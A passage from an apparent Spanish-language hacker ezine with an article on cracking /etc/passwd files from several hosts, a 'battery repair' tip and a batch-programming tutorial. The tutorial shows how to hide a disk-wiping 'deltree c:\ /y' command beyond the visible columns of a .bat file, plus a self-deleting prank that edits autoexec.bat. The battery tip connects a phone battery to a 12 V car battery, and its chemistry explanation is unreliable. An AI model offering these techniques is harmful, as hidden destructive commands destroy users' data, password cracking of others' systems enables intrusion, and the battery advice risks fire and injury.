crackeados hasta 40 passwords, lo que seria un 3%, que no se acerca
ni remotamente al 43.5% anteriormente visto, de estos 17 solo en 3
casos el login y el password era el mismo, lo que seria un 0.22%
tambien aqui gana este servidor, en contra del 1.3% del servidor
anterior, concluyendo, es muy importante una buena pol¡tica para la
escojencia de passwords pero no es 100% segura, a ver... creo que tengo
otros passwd por aca, veamos...
Host N§ 3
Aja, aqui est , analicemos esta situaci n, bueno este host me cay¢ bien,
sin duda el administrador esta aprendiendo unix por correspondencia,
parece que ya sabe usar el finger, jeje, si, la verdad, se ve bastante
de esto si buscas bien, administradores que cobran sin trabajar, bueno,
sigamos aqui hay 401 cuentas, de las cuales en modo single fueron
crackeados 143 passwords 35.66%, no parece alarmante en comparaci¢n
con el primer host evaluado pero si analizamos un poco... veamos, de
los 143 passwords crackeados 71 son el mismo login, ¨increible no? un
17.7% wow, que newbies no? seguimos comparando?? pues en el primer host
esta misma cifra era un 1.3%, en el segundo un 0.22% y aqui un GRAN
17.7%, osea se podr n imaginar que puede pasar en este caso }:->
Algo que casi se me olvidaba es que siempre salen bastantes passwords
de este estilo, por ejemplo, login cuaima y password cuaima98 o
cuaima97 o 99 esto es muy importante a la hora de hacer un ataque de
fuerza bruta, en este host hubo 31 passwords de este tipo.
Recomendaciones Finales
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
Tengo otros /etc/passwd por ahi pero no quiero inundar esto de n£meros
aunque me parece muy importante ver cuales son las debilidades en cuanto
a los passwords usados por los usuarios comunes, mi recomendaci¢n para los
administradores es ademas de la pol¡tica de passwords como en el ejemplo
numero 2, seria como dije arriba, pasarle a su sistema el john the ripper
por lo menos una vez por semana y avisarle a los usuarios sobre sus
passwords y que deben cambiarlos ya que ponen en peligro el sistema, y
si ellos no lo hacen lo hace el mismo administrador y le envias el
password antes de cambiarlo porsupuesto, pero esto se debe hacer
inmediatamente, ya que si alguien ya entro a el sistema que manejamos
quizas ya tenga el /etc/passwd y cambiar todos los passwords en un
sistema de 3000 usuarios es mas dificil ¨no? un saludo, nos vemos por ahi.
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÍÍ͹ Como arreglar las baterias de lo celulares ÌÍÍÍÍÍÍÍÍÍÍÍÍÍ͹KaDiLaCÌÍÍÍÍ
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Te ha pasado ke cuando pasa alg£n tiempo con tu celular, se te
descarga mucho la bateria (asi sea de las horas ke sea), y la cargas
y se descarga a las 2 o 3 horas, y lo ke te provoca es botarla a la
basura, bueno no lo hagas y has esto sin miedo.
En realidad lo ke pasa con las baterias es ke la gente tiene la mala
costumbre de ke cuando llega a su casa pone a cargar la bateria sin ke
‚ste se haya descargado por completo, y al hacer esto por mucho tiempo
llega una forma en ke la bateria solo dura un tiempo muy corto como el
antes mencionado
Pero ¨ke pasa alli?, ¨por ke sucede esto?, bueno la k¡mica de la
bateria actua de una forma ke cada vez ke cargas el celular desde
cualkier punto, la bateria va a funcionas desde el punto en el ke la
pusistes a cargar, formando asi una capa en el fondo (claro al
principio no lo vemos o no lo persivimos pero a las pocas semanas
te pasar y lo ke te provocar es recordarle la madre del ke te vendi¢
la bateria de XXXX horas XDDDDD),
Aki necesitaras una bateria de carros, dos cables y por supuesto la
bateria del celular
Si sacas la bateria del celular podras ver (en el lado de conexi¢n de
la bateria con el celular) ke tiene tres conectores, uno ke dice +
otro ke no dice nada (es el conector de tierra) y otro -, conecta,
el positivo de la bateria de carros con el + de la bateria del
celular, y el negativo de la bateria de carros con el - de la bateria
del celular por unos cortos segundos, hasta ke se caliente un poco el
chip ke tiene internamente la bateria del celular, cuando ‚ste e haya
calentado despegas lo cables, lo dejas ke se enfrie y lo pones a
cargar de nuevo.
Bateria
del celular
/-------\
| |
| @ | @: Chip interno del celular
| | #: Conectores
| |
| + - |
| ### |
| | | |
\-|-|---/
| |
| | cable -
| \---------------------------------\
| |
\-------------------------\ |
| |
| |
#+ #-
/------------------\
| |
| Bateria |
| de carros |
| 12 V |
| | \------------------/
\------------------/
RECOMENDACIONES
De recomendaciones te puedo decir es ke descarges tu celular antes de
ponerlo a cargar, si ves ke tienes poca bateria pero todavia te keda,
aprieta todos los botones tantas veces hasta ke se descarge tu bateria,
pero si esto te da ladilla bueno comprate un cargador inteligente, ke
tiene la opcion de descarga de baterias...
bueno hasta aki todo por hoy espero ke les sirva de utilidad.......
bueno bye...
q=o)
KaDiLaC
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÍÍ͹ Guia de Programaci¢n Batch ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹MHVSSÌÍÍÍÍ
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Elaboraci¢n de archivos .bat
Por Max Hedroom el Vampiro Sociedad Sangrienta
----------------------------------------------
Conceptos b sicos 1
~~~~~~~~~~~~~~~~~~~
Como todos sabemos (y si no os lo digo ahora), los archivos .BAT
o archivos batch o de procesamiento por lotes son un tipo de
archivos ejecutables (junto con los .EXE y .COM) en los cuales
se escribe en cada linea una orden o comando de MS-DOS o una de
las ordenes especiales del propio lenguaje de programaci¢n batch.
Respecto a los requerimientos para poder hacer archivos .BAT son
simplemente un ordenador (que funcione claro :) y el conocido
programa "edit.com" que en el caso de que tengamos Windoze funciona
por si mismo pero si s¢lo tenemos el DOS, el edit necesita del archivo
"qbasic.exe" (que se usa para progrmar en Basic (que no VBasic) para
funcionar que junto con el edit viene con el DOS.
Ejemplo: As¡, si teniendo DOS querr¡amos por ejemplo hacer un archivo
llamado "j.bat" que nos ahorrara el trabajo de tener que escribir
ciertos comandos para entrar al juego "Pcfutbol 4.0" (comentarios
aparte, es solo un programa ejemplo) que tenemos guardado en
"C:\JUEGOS\DEPORTES\FUTBOL4" y cuyo archivo para jugar es
"futbol4.exe" har¡amos esto:
1- Ejecutamos "edit j.bat"
2- Escribimos:
en la 1¦ linea "c:"
en la 2¦ "cd juegos\deportes\futbol4"
en la 3¦ "futbol4"
3- Guardamos el archivo y salimos del edit (aunque si no habiamos
guardado al salir nos preguntara si queremos hacerlo)
Asi, al escribir desde cualquier sitio la ruta del archivo "j.bat"
(por supuesto si el archivo j.bat se encuentra en el directorio en el
que nos encontramos actualmente o en el PATH no habra que poner su ruta
sino solo "j") y su propio nombre ("j") entrar¡amos al citado juego de
futbol.
Conceptos b sicos 2
~~~~~~~~~~~~~~~~~~~
Si queremos hacer que un archivo .BAT escriba algo en la pantalla del
ordenador pondremos "echo" y a continuaci¢n un espacio y el mensaje que
queramos que aparezca (el comando echo tambien funciona desde la linea
de comandos (o shell) pero es un poco tonto utilizarlo :). Pero al hacer
un archivo .BAT con la linea "echo Hola HVs, esto es un archivo .BAT" en
pantalla nos aparecer¡a (suponiendo que estemos en la unidad C):
" C:\>echo Hola HVs, esto es un archivo .BAT
Hola HVs, esto es un archivo .BAT "
Para evitar que aparezcan en pantalla las ¢rdenes que ponemos en el
archivo.BAT y as¡ s¢lo aparezcan los resultados de estas ¢rdenes, basta
con poner justo en la linea anterior a las ¢rdenes que no queramos que se
vean "@echo off". Adem s, para que, si en una linea anterior hemos puesto
"@echo off" y ya no queremos que las pr¢ximas ¢rdenes se sigan sin ver
pondremos "@echo on".
Otra forma de hacer esto mismo ser¡a poner una arroba ("@") delante de
cada una de las ¢rdenes que deseamos que no se vean y ya est . Como
pod‚is suponer la arroba que hay en las ¢rdenes "@echo off" y "@echo on"
es para que estas ¢rdenes no se vean por pantalla. De este modo, si
quisieramos que al ejecutar el archivo anterior quisieramos que s¢lo
se viera la £ltima orden ("futbol4")
camb¡ariamos el archivo anterior por ‚ste:
" @echo off
c:
cd juegos\deportes\futbol4
@echo on
futbol4 "
o tambien podr¡amos poner:
" @c:
@cd juegos\deportes\futbol4
futbol4 "
Otra cosa que podemos hacer es a¤adir un comentario cuya utilidad sea
s¢lo la de aclarar al programador para que sirven ciertas ordenes, es
decir que no aparezca por pantalla ni haga ning£n efecto y que as¡ tan
s¢lo aparezca en el programa, a modo de comentario para que el
programador entienda en un futuro (si revisa el archivo) que hacen las
proximas instrucciones. El comando para hacer esto es "rem". As¡
podr¡amos a¤adir a nuestro archivo antes de todas las instrucciones
"rem Este programa sirve para jugar al Pcfutbol 4.0".
IF (Condici¢n)
~~~~~~~~~~~~~~
Esta instrucci¢n sirve para establecer una condici¢n de igualdad o
desigualdad, lo que se hace de esta manera: IF "termino1"=="termino2"
acci¢n, donde accion es el comando a ejecutar si la condici¢n se cumple.
Hay casos en los que las comillas no son necesarias, pero para evitar
errores es conveniente acostumbrarse a utilizarlas siempre. Ademas
existe la particula NOT cuya utilidad es la de hacer que la acci¢n se
ejecute cuando no se cumpla la condici¢n. La utilizariamos asi:
IF NOT "termino1"=="termino2" accion.
GOTO (ir a)
~~~~~~~~~~~
Esta instrucci¢n se utiliza para realizar un salto de una linea de un
programa a otra que este mas adelante o mas atras... Para utilizarlo
pondremos GOTO etiqueta (tambi‚n se puede poner GOTO :etiqueta, pero
aqui los ":" no son necesarios), siendo "etiqueta" el nombre de cierta
linea que deberemos llamar con ese nombre poniendo en ella ":etiqueta".
Los nombres de las etiquetas pueden ser cualquier combinaci¢n de
caracteres (excepto %n siendo n un numero cualquiera o "<" o ">". Ya
veremos mas adelante porque). Si bien, el lenguaje BATCH, para
identificar las etiquetas solo atiende a los 8 primeros caracteres, de
forma que, por ejemplo, las etiquetas "12345678a" y "12345678b" son
consideradas iguales y el programa "ira" a la que este escrita primero
en el programa. Asmismo, tampoco se haran distinciones entre mayusculas
y minusculas, de modo que "AB" es lo mismo que "ab". Si bien, la
instrucci¢n GOTO se puede utilizar en si misma, normalmente se aplica a
la realizaci¢n de bucles (repeticiones de instrucciones hasta que se
cumpla una condici¢n) o en estructuras de tipo
IF "termino1"=="termino2" GOTO etiqueta.
De esta forma podriamos hacer este programa:
" @ECHO off
:pendejo
ECHO Eres un pendejo
goto pendejo "
Como os podeis imaginar este programa hace un bucle sin fin (es decir,
las acciones del bucle se repiten sin cesar) hasta que pulsemos Ctrl+C
(combinacion de teclas que sirve para interrumpir cualquier archivo
.BAT) o reiniciemos el ordenador. ;D
Asimismo, hay que tener en cuenta que las instrucciones se van
ejecutando linea a linea (las etiquetas al ejecutarlas no producen
ningun efecto) de modo que para ejecutar cierto "trozo" del programa sin
que se ejecute lo siguiente deberemos utilizar el GOTO para mandar al
programa que acuda a la linea que corresponda. Asi si hacemos este
programa:
" @ECHO off
echo Esto si tiene que salir
echo Esto no tiene que salir "
Las dos frases seran escritas, mientras que en este no:
" @ECHO off
echo Esto si tiene que salir
goto fin
echo Esto no tiene que salir
:fin "
Letras de colores
~~~~~~~~~~~~~~~~~
Si!, en lenguaje BATCH podemos utilizar letras de colores. Para ello,
nos valdremos de el comando del DOS llamado PROMPT (que sirve para
determinar lo que nos aparece en el shell o interprete de comandos del
DOS y que normalmente es "C:\directorio_actual\>") (el prompt del
sistema es precisamente el nombre que se le da a lo que aparece en
nuestro shell o interprete de comandos). El PROMPT es un comando
interesante pues con el podremos moldear un poco la presentaci¢n de
nuestro MS-DOS. Podemos hacer que en vez de "C:\>" nos escriba por
ejemplo la fecha, la hora y un texto que nosotros le digamos en cierto
color en una linea y en la siguiente "C:\>". Esto se haria ejecutando
en el interprete de comandos la siguiente instrucci¢n: "prompt $d
$t$e[35m Hola, que tal?$e[0m$_$p$g", con lo que a partir de ahora
(hasta que cambiemos de nuevo el prompt del sistema) en la pantalla
nos aparecera la fecha ($d), seguido de la hora ($t), seguido del
mensaje "Hola, que tal?" en color violeta ($e[35m) y por £ltimo, en la
siguiente linea (el salto de linea lo hacemos con $_) "C:\>" (en color
normal gracias a $e[0m ). La lista de colores y todo lo relacionado con
el comando PROMPT lo podeis ver teclando en el interprete de comandos
"help prompt" (para que funcione la ayuda debeis tener los archivos
qbasic.exe, help.com y help.hlp. En Ventanucos 9x no es necesario el
archivo qbasic.exe, pero tendreis que conseguir el archivo help.hlp
pues no esta (estratagema de Microsith para que la gente no aprenda
MS-DOS y solo sepa utilizar (a duras penas) Ventanucos 9x que atonta a
la gente...). Tambien podremos ver algo (pero no la lista de colores)
escribiendo "prompt /?".
Para utilizar letras de colores en archivos .BAT utilizaremos el
caracter $e. El caracter $e para el PROMPT representa el caracter ESC
que para ECHO es el caracter "" (se que habia una forma de generarlo
sin necesidad de un programa en pascal pero ahora no recuerdo como se
generaba de modo que os envio adjunto un archivo llamado esc.exe que
sirve para escribir en pantalla el caracter "". El codigo fuente de
dicho es programa es:
" begin
write(chr(27));
end. "
Quien quiera le puedo pasar el compilador de pascal (75.000 bytes).
Para escribir el caracter en un archivo deberemos utilizar un
redireccionamiento (lo que veremos mas adelante) de este modo: "esc >>
archivo" siendo "archivo" el archivo donde queremos que nos aparezca el
caracter "" al final (es decir, el caracter nos aparecer justo
despues de lo ultimo que tengamos escrito en el archivo) y solo
tendremos que cortarlo y pegarlo donde queramos. La raz¢n po la cual no
se puede generar el caracter de forma normal en el DOS pues al intentar
escribirlo pulsando Alt+27 (el n§ que le corresponde en el codigo
ASCII) el ordenador cree que realmente estamos pulsando la tecla ESC.
Bien, ahora que ya sabemos esto, os puedo decir cual es la instrucci¢n
en cuesti¢n para escribir letras de colores en la pantalla con archivos
.BAT. Deberemos poner, en una linea sola, "ECHO [Nm", siendo "N" el
n£mero del color que queremos y "m" una letra obligatoria (Como he
dicho antes, para ver los n£meros que corresponden a cada color los
podemos encontrar en la ayuda del DOS acerca del PROMPT mediante "help
prompt"). Esa orden hace que todo lo que escriban en pantalla las
instrucciones de todas las lineas posteriores a ella aparezca en color
N (hasta que se cambie de nuevo de color). Podemos, asi poner unas
linea de un color y otras de otro. Para poner el color normal del DOS
(blanco normal (tambien hay blanco brillante)) utilizaremos la orden
"ECHO [0m" que quita todos los atributos de color seleccionados (puede
haber varios a la vez. Por ejemplo para poner la letra de color violeta
intermitente deberemos escribir en un linea "ECHO [35m" y en la
siguiente "ECHO [5m" o viceversa).
Vamos a gastar una bromita...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Esta broma, por supuesto solo podremos gastarsela a alguien con poca
idea de informatica... Hagamos un archivo que primero tenga unas
instrucciones para descomprimir un juego (y adjunto tenga el archivo
comprimido del juego) y que despues tenga las lineas que vienen a
continuacion (el archivo se llamara juego.bat):
"@echo off
rem LAS PROXIMAS DOS LINEAS DEBEN IR ESCRITAS EN UNA SOLA.
ECHO prompt APAGA EL ORDENADOR SI NO QUIERES QUE BORRE TODOS
TUS ARCHIVOS! >> c:\autoexec.bat
del juego.bat "
Como veremos mas adelante ">>" sirve para que el texto que esta entre
"ECHO" y ">>" se escriba en la ultima linea del archivo que va despues
de ">>". Asi, al ejecutar este archivo en un ordenador, este, se
borrara a si mismo y escribira en el autoexec.bat una linea que hara
que la proxima vez que el due¤o del ordenador en el que se ejecute este
archivo encienda su ordenador le aparecera el mensaje en cuesti¢n, en
vez del usual "C:\>".
Un truco
~~~~~~~~
En un archivo .BAT, podemos poner las ordenes mas a la derecha de la
parte visible de la pantalla de forma que si alguien edita el archivo,
no se de cuenta de que se van a ejecutar esas instrucciones. Asi por
ejemplo podriamos poner la orden "deltree c:\ /y" (que borra todo el
disco duro sin pedir confirmaci¢n) a la derecha de dicha parte visible
es decir, aqui ------------> deltree c:\ /y Incluso podemos poner que
Incluso podemos poner que una orden empiece en la columna n§ 200, asi -------> deltree c:\ /y
El n£mero de columnas que tiene un archivo es 255, de modo que podemos
escribir una orden en la columna 256 - Numero de caracteres de la orden.
Variables
~~~~~~~~~
En el lenguaje BATCH como en cualquier otro lenguaje de programacion
existen variables, si bien estan muy limitadas. Estas variables son las
que se pueden poner como parametros a un archivo. Por ejemplo, nosotros,
al escribir en el interprete de comandos o shell del MS-DOS
"dir c:\*.bat /p /s" estaremos suministrandole al archivo DIR tres
parametros: "c:\*.bat", "/p" y "/s". Dichos parametros podian haber
sido cualesquiera otros. Asi el lenguaje de programacion BATCH tiene
predefinidas unas variables cuya utilidad es la de almacenar cada uno
de los parametros que se suministren a un archivo incluyendo el propio
nombre del archivo, que seran:
%0 -------> Nombre del archivo ejecutado.
%1 -------> Primer parametro suministrado al archivo.
%2 -------> 2ø parametro suministrado.
%3 -------> 3ø parametro suministrado.
%4, %5, %6, %7, %8 y %9 -------> 4ø, 5ø, 6ø, 7ø, 8ø y 9ø
Es necesario saber que si queremos escribir tal cual en la pantalla (o
en otro archivo) "%1", "%2", "%3"... deberemos escribir en nuestro
archivo "%%1", "%%2", "%%3"... Se da por supuesto que no se puede
introducir el parametro 2 sin introducir el primero por lo que si
deseamos comprobar si se han escrito 3 parametros bastara con comprobar
si se ha introducido el 3ø. Ahi va un ejemplo (este archivo debera
llamarse "prueba.bat"):
" @ECHO OFF
IF "%1"=="" GOTO ayuda
IF NOT %0==prueba IF NOT %0==prueba.bat GOTO mensaje
type %1 |more
ECHO Pruebe a cambiar de nombre este archivo y ejecutelo.
:mensaje
ECHO.
ECHO El nombre del archivo ha sido modificado.
ECHO Su nombre debe ser "prueba" y no %0.
ECHO Y su extension debe de ser siempre ".bat".
goto fin
:ayuda
ECHO.
ECHO Este programa sirve para ver un archivo por pantalla.
ECHO Debe de especificar el archivo a mostrar por pantalla.
ECHO %0 ""
:fin "
Es destacable que en la anteultima linea ("ECHO %0 """) utilicemos comillas para encerrar los signos "<" y ">"
debido a que se producirian errores al confundirlos con los signos de
redireccionamiento de los que hablaremos ahora...
Redireccionamientos
~~~~~~~~~~~~~~~~~~~
Los redireccionamientos consisten en transmitir el resultado o
contenido de un archivo (que normalmente se muestra por pantalla) a
otro que lo almacene o use. Los signos utilizado para realizar
redireccionamientos son ">" y ">>". El primero (">") sirve para
escribir en un archivo el resultado de la operacion que le precede. De
esta forma podemos, por ejemplo, enviar el resultado del comando "dir"
al archivo dir.txt: "dir > dir.txt". Lo que hubiera antes en el archivo
dir.txt sera borrado automaticamente y si dicho archivo no existiera,
seria creado. Y el segundo (">>") funciona igual que ">" con la
diferencia de que no borra el contenido del archivo si este ya
existiera, sino que a¤ade lo que le digamos a partir de la ultima linea
del archivo.
Hay que tener cuidado cuando escribimos estos signos puesto que puede
que solo queramos hacer que aparezcan en pantalla y no queramos hacer
un redireccionamiento. Por ello es necesario poner entre comillas los
mensajes que mostremos con ECHO que contengan alguno de esos signos o
incluso el signo "<" que para algunos comandos en especial, tiene
utilidad (que yo sepa solo el MORE), como el MORE con el que podremos
ver un archivo pantalla por pantalla como si utilizaramos "TYPE
archivo_a_visualizar | more" escribiendo simplemente "MORE <
archivo_a_visualizar".
SHIFT (Desplazar)
~~~~~~~~~~~~~~~~~
La orden SHIFT tiene por objeto permitir que se usen mas de 9
parametros en programas que asi lo necesiten. Para ello, SHIFT deplaza
una posicion hacia la izquierda cada una de las variables. Por tanto si
por ejemplo, ejecutamos "dir /p /w /s /aa /ah /oe /b /l /ch *.*"
tendriamos:
ANTES DE EJECUTAR | DESPUES DE EJECUTAR
SHIFT 1 VEZ | SHIFT 1 VEZ
-----------------------------------------------------------------------------
%0 dir /p
%1 /p /w
%2 /w /s
%3 /s /aa
%4 /aa /ah
%5 /ah /oe
%6 /oe /b
%7 /b /l
%8 /l /ch
%9 /ch *.*
Para ejecutar SHIFT simplemente pondremos en una linea "SHIFT".
CALL (Llamar)
~~~~~~~~~~~~~
La utilidad de CALL es permitir ejecutar un programa .BAT desde otro
para luego volver a ese "otro" programa .BAT y continuar ejecutando
sus instrucciones. Para ello simplemente pondremos en una linea:
CALL archivo.bat
FOR (Durante)
~~~~~~~~~~~~~
Este comando sirve para realizar una accion sobre varios archivos a
la vez (uno despues de otro). La sintaxis utilizada es:
"FOR %%Variable IN (Conjunto) DO Mandato %%Variable"
Donde "%%Variable" es una variable de una letra (3 contando los dos
"%"), "(conjunto)" es el grupo de archivos sobre los que queremos que
se realice la accion (dicho grupo debe ir siempre entre parentesis) y
"Mandato" es la accion a realizar. Para utilizar este comando
directamente desde MS-DOS, en vez de dos utilizaremos solo un signo de
"%" para representar la variable. La letra de "Variable" no puede ser
un numero pues se confundiria con las variables (%1, %2,... antes
nombradas). No he considerado "%%Variable" como una verdadera variable
porque solo la usa el comando FOR y porque su valor no es introducido
por el usuario, sino por el propio programa.
Este comando solo ejecuta una orden (sobre varios archivos pero una
orden), de modo que si queremos ejecutar varias ordenes sobre los
mismos archivos deberemos poner la misma linea dos veces con el mandato
que corresponda en cada caso. Por ejemplo, podeis ver un util ejemplo
que sirve para ver el contenido de varios archivos 1 por 1 y pagina a
pagina y que muestro y explico a continuacion:
Haremos en Pascal este archivo (mipausa.pas):
USES
crt;
BEGIN
readkey;
END.
Lo compilaremos obteniendo asi el mipausa.exe.
Ahora haremos este archivo (my.bat):
cls
ECHO [35m
ECHO %1
ECHO [0m
mipausa
type %1 |more
mipausa
Y ahora haremos este archivo (mytype.bat):
@ECHO OFF
IF "%1"=="" GOTO ayuda
FOR %%a IN (%1 %2 %3 %4 %5 %6 %7 %8 %9) DO CALL my %%a
GOTO fin
:ayuda
ECHO.
ECHO Sintaxis:
ECHO.
ECHO "MYTYPE "
ECHO Se admiten caracteres comodin
:fin
Nota: Es posible colocarlos en algun directorio que este en el PATH o
cambiar la linea del autoexec.bat en la que pone "PATH..." a¤adiendo un
";" y a continuacion el nombre del directorio en el que pongamos estos
3 archivos (si no estaba ya), con lo que conseguiremos que se pueda
ejecutar el mytype desde cualquier sitio. Tambien se puede cambiar
mipausa por el pause del DOS pero esto hara aparecer el antiestetico
mensaje del DOS "Pulsa una tecla para continuar...".
Ahora podremos ver multiples archivos pagina por pagina... Incluyo los
3 archivos (el mipausa ya compilado). Quien lo desee le puedo mandar el
archivo para compilar programas de pascal.
CHOICE (Elegir opciones)
~~~~~~~~~~~~~~~~~~~~~~~~
A un programa .BAT no le es posible pedir que escribas tu nombre y
leerlo pero si puede darte opciones a diferentes nombres pre-escritos
en el programa .BAT y pedirte que le escribas una letra que se te haya
informado que este asociada a ese nombre. La sintaxis de CHOICE es:
"CHOICE /cLista-opciones MENSAJE" siendo "Lista-opciones" las letras
asociadas a las opciones que notificaremos antes con ECHO o en el
propio "MENSAJE" que nos permite poner CHOICE. Asi podremos poner:
"CHOICE /csn Esta usted loco: " (hay un espacio detras de "loco:") con
lo en la pantalla nos aparecera el mensaje: "Esta usted loco: [S,N]?" y
ese mensaje seguira ahi hasta que le demos una opcion valida ("s" o
"n"). Aunque en este caso no era necesario poner "/csn" pues el CHOICE
establece por defecto las opciones "S" (Si) o "N" (No) si no se
especifican otras. CHOICE devuelve un codigo de salida (ERRORLEVEL)
igual a la posicion, en la que se encuentre en lista de opciones, la
opcion elegida. Por ejemplo, hagamos este programa:
" @ECHO off
ECHO 1: Teken Mecolotoff
ECHO 2: Kimo
ECHO 3: Dunkelseite
ECHO 4: Darkdeath
ECHO 5: Kliber
ECHO n: Netiz
ECHO s: Spu4nick
ECHO c: CantvHack
ECHO m: MHVSS
ECHO o: Otro cualquiera... (los demas no les he nombrado porque nombrar 40 personas...)
ECHO 0: Salir (tambien pulsando CTRL + C)
ECHO.
choice /c12345nscmo0 Elija su nombre:
IF ERRORLEVEL 1 ECHO Eres un PENDEJO :P
IF ERRORLEVEL 2 ECHO Ha elegido Kimo
IF ERRORLEVEL 3 ECHO Ha elegido Dunkelseite
IF ERRORLEVEL 4 ECHO Ha elegido Darkdeath
IF ERRORLEVEL 5 ECHO Ha elegido Kliber
IF ERRORLEVEL 6 ECHO Ha elegido Netiz
IF ERRORLEVEL 7 ECHO Ha elegido Spu4nick
IF ERRORLEVEL 8 ECHO Ha elegido CantvHack
IF ERRORLEVEL 9 ECHO Este muerde en el cuello! Cuidadito con el!
IF ERRORLEVEL 10 ECHO Ha elegido otro cualquiera...
IF ERRORLEVEL 11 ECHO Ha elegido salir "
Este programa como os podeis imaginar pide que se elija un nombre y
luego lo escribe en pantalla.
Pero si podemos hacer este:
" @ECHO OFF
IF %1=="" GOTO ayuda
IF %1==Teken ECHO Eres un pendejo
ECHO Hola %1
goto fin
:ayuda
ECHO.
ECHO Debe escribir su nombre.
ECHO.
ECHO PRUEBA su_nombre
goto fin
:fin "
ESTA GUIA SE HA ACABADO. PROXIMA AVENTURA EN TU ORDENADOR. MAS AYUDA,
TECLEANDO HELP EN TU SHELL O INTERPRETE DE COMANDOS DEL MS-DOS.
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÍÍ͹ Despedida ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹DarKdEaTHÌÍÍÍÍ
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Pues ya llegamos al final, esperamos que te haya gustado este primer
n£mero de HVen, si ya se, la pregunta mas frecuente que de seguro te
est s haciendo ¨cada cuanto sale el ezine? pues ni yo tengo la
respuesta, por lo menos ya se pq tardan tanto en salir los ezines, pq
no es tarea facil hacerlos, pero si te puedo decir que mientras uds
envien sus colaboraciones el tiempo entre n£mero y n£mero ser menor
:), por decir algo cada 2 meses aproximadamente debe salir la
revista, antes de irme quiero agradecer a todos los panas que nos han
ayudado en esto, especialmente al pana Cyber Optik do Brasil!! que nos
ha dado un espacio en su servidor para nuestra p gina, muito obrigado
Cyber, se despide...
<ÍÍ[HVen Team]ÍÍ>
Saludos oficiales:
Cyber Optik - HackHour
Taker & Plaxius - Proyecto R
Hendrix - SET
y a toda gente del HVEN TEAM
Comizionado, KaDiLaC, MHVSS, DitiemeF, Mr.Silence, Merlin, NetiZ, Venkiller,
ThunderByte, CantvHack (un saludo y que revivas alg£n dia), MK4, Spu7nik
y todos los dem s :)
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXº
ºXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXº
ºXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXº
ºXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXº
ºXXXX X XXX XXXXXXXX XXX XXX XXXX XXXXº
ºXXXXX XXX XXXXX XXXXXXXXXX XXXX XXXXXXXXXX XXXXXX XXXXXº
ºXXXXX XXX XXXXXX XXXXXXXX XXXXX XXXXXXXXXX XXX XXXXXº
ºXXXXX XXXXXXX XXXXXX XXXXXX XXXXXX X XX XXXXXº
ºXXXXX XXX XXXXXXXX XXXX XXXXXXX XXXXXXXXXX XXX ø XXXXXº
ºXXXXX XXX XXXXXXXXX XX XXXXXXXX XXXXXXXXXX XXXXXX XXXXXº
ºXXXX X XXXXXXXXXX XXXXXXXXXX XXX XXXX XXXXº
ºXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXº
ºXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX¹ EZINE ÌXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXº
ºXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXº
ºXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX²²²²²²²²²²²²²²²XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXº
ºXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX * * * * * * * XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXº
ºXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXº
ºXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXº
ºXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXº
ºXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|